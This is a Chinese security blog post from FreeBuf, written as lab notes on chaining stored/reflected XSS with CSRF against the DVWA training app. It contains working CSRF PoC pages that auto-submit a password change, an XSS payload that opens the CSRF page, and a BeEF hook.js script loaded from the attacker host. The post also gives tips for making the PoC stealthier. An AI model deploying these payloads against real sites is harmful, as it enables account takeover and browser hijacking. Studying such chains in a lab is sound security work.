freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

漏洞组合拳之XSS+CSRF记录
TeamsSix 2020-02-04 09:00:30 729043

0x00 前言

今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。

0x01 靶场环境

本机(Win):192.168.38.1

DVWA(Win):192.168.38.132

Beef(Kali):192.168.38.129

0x02 组合拳思路

第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)

第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)

0x03 【第一拳】存储型 XSS + CSRF

1、构造 POC

a、构造 CSRF 代码

这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。

本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。关于该工具的下载地址,读者可自行搜索,不过也可在我的个人微信公众号:“TeamsSix” 后台回复 “ CSRF ” 获取官方下载链接。

继续来看,咱们需要首先为浏览器设置 8008 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.

这时先开启 CSRFTester 的流量记录功能。

开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。

之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。

之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。

对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
        document.forms[i].submit();
        pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>

b、构造 XSS 代码

<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>

2、 开工

在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。

在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.

点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.

访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。

0x04 【第二拳】CSRF + SelfXSS

1、构造 POC

a、构造 XSS 代码

我这里使用 beef 作为 XSS 平台。

<script src="http://192.168.38.129:3000/hook.js"></script>

b、构造 CSRF 代码

这里继续使用 CSRFTester 工具生成 CSRF POC。关于该工具的下载地址,读者可自行搜索,不过也可在我的个人微信公众号:“TeamsSix” 后台回复 “ CSRF ” 获取官方下载链接。

具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
    	document.forms[i].submit(); 
        pausecomp(pauses[i]);}}   
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> 
</form>
</body>
</html>

将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。

http://192.168.38.1/csrf.html

打开链接后,beef 中就能看到上线的主机了。

不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.

0x05 总结

暂时笔记就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。

*本文原创作者:TeamsSix,本文属于FreeBuf原创奖励计划,未尽许可禁止转载

# xss # csrf # 攻击代码
本文为 TeamsSix 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
网络安全
TeamsSix LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 7 关注者
记录一次平平无奇的云上攻防过程
2022-09-14
CF 云环境利用框架,一键化利用云上内网
2022-07-11
云安全工具与资源汇总项目
2022-05-16
文章目录